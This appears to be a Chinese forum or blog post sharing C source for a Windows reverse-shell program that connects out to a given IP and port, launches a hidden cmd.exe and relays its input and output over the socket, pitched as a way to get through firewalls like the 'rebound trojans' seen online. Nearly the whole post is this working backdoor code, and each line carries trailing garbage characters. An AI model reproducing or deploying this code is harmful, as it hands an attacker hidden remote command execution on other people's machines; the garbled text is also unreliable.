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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [8v>jQ)  
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/* ============================== Kd;Iu\4hv  
Rebound port in Windows NT Iy8fN"I9D  
By wind,2006/7 c%x9.s<+1  
===============================*/ 1];OGJuJ2  
#include /(jG9RM  
#include 6i`Y]\X~#  
-~=?g9fGm6  
#pragma comment(lib,"wsock32.lib") "%E<%g  
unD.t  
void OutputShell(); *-\qO.4\  
SOCKET sClient;  up==g  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ahf71YP  
&@[pJ2  
void main(int argc,char **argv) nBkzNb{"AZ  
{ LTlbrB  
WSADATA stWsaData; r<9G}9  
int nRet; tB{HH%cV  
SOCKADDR_IN stSaiClient,stSaiServer; =V>inH  
)&vuT q'7'  
if(argc != 3) Hzc5BC  
{ 6tZ ak1=V  
printf("Useage:\n\rRebound DestIP DestPort\n"); GJTakhj3  
return; `W9~u: F  
} f[fH1cu&`  
Kv ~'*A)d  
WSAStartup(MAKEWORD(2,2),&stWsaData); Hn sPXF'8g  
K=N8O8R$y  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t/B4?A@C  
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stSaiClient.sin_family = AF_INET; o*sss  
stSaiClient.sin_port = htons(0); ^Gwpx +  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &qyXi[vw  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ny` =]BA  
{ C/#?S=w`4  
printf("Bind Socket Failed!\n"); ;6}> Shs  
return; 0T2^$^g  
} K3xt,g  
w:nLm,  
stSaiServer.sin_family = AF_INET; {!>'# F^e  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :`B70D8ku  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Dn[uzY6  
t>}(` 0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VOGx  
{ z2~\ b3G  
printf("Connect Error!"); ?<efKs  
return; -Dy":/Bk  
} +F]=Z  
OutputShell(); BT^HlW<  
} y&L Lx[8 ^  
8e"MP\0V  
void OutputShell() 1YScZ  
{ Nh[H[1"J  
char szBuff[1024]; SQT]'  
SECURITY_ATTRIBUTES stSecurityAttributes; l1%ubu  
OSVERSIONINFO stOsversionInfo; MGLcM&oR  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rH$M6S  
STARTUPINFO stStartupInfo; /*e6('9s  
char *szShell; ~?z u5,vb  
PROCESS_INFORMATION stProcessInformation; Aaug0X  
unsigned long lBytesRead; fLg :+Ue<B  
;Iax \rQ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .2V?G]u  
? J/NYV  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ok1-`c P  
stSecurityAttributes.lpSecurityDescriptor = 0; oS^g "hQ`\  
stSecurityAttributes.bInheritHandle = TRUE; GJIZu&C  
F/u i(4  
BG_6$9y  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]]9 VI0   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W4q |55  
Hq aay  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ij2T h]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ 0/m$V.  
stStartupInfo.wShowWindow = SW_HIDE; 3?Fe( !@  
stStartupInfo.hStdInput = hReadPipe; -unQ 4G  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m+QZ|  
cJ#n<Rsz  
GetVersionEx(&stOsversionInfo); *r)dtI*  
I{i6e'.jP  
switch(stOsversionInfo.dwPlatformId) }poLH S/  
{ 5}TTf2&Xo#  
case 1: "Pl.G[Buc-  
szShell = "command.com"; U;#G $  
break; s\e b  
default: %?Q<  
szShell = "cmd.exe"; HdRwDW@7=  
break; #xh M&X  
}  6apK  
A [_T~+-G  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); xg;vQKS6  
;sAe#b  
send(sClient,szMsg,77,0); ?OFfU  4  
while(1) Y^b}~t  
{ L cTTfb+<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >{[  
if(lBytesRead) l p|`n  
{ qNWSDZQ  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5a|{ytP   
send(sClient,szBuff,lBytesRead,0); Uf9L*Z'6il  
} :cKdl[E4z  
else M_h8{  
{ +z<GycIc?K  
lBytesRead=recv(sClient,szBuff,1024,0); y ~Fi  
if(lBytesRead<=0) break; JC# 5CCz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 70{B/ ($  
} lE$(*1H  
} [I gqK5@  
N!./u(b  
return; hjz`0AS  
}
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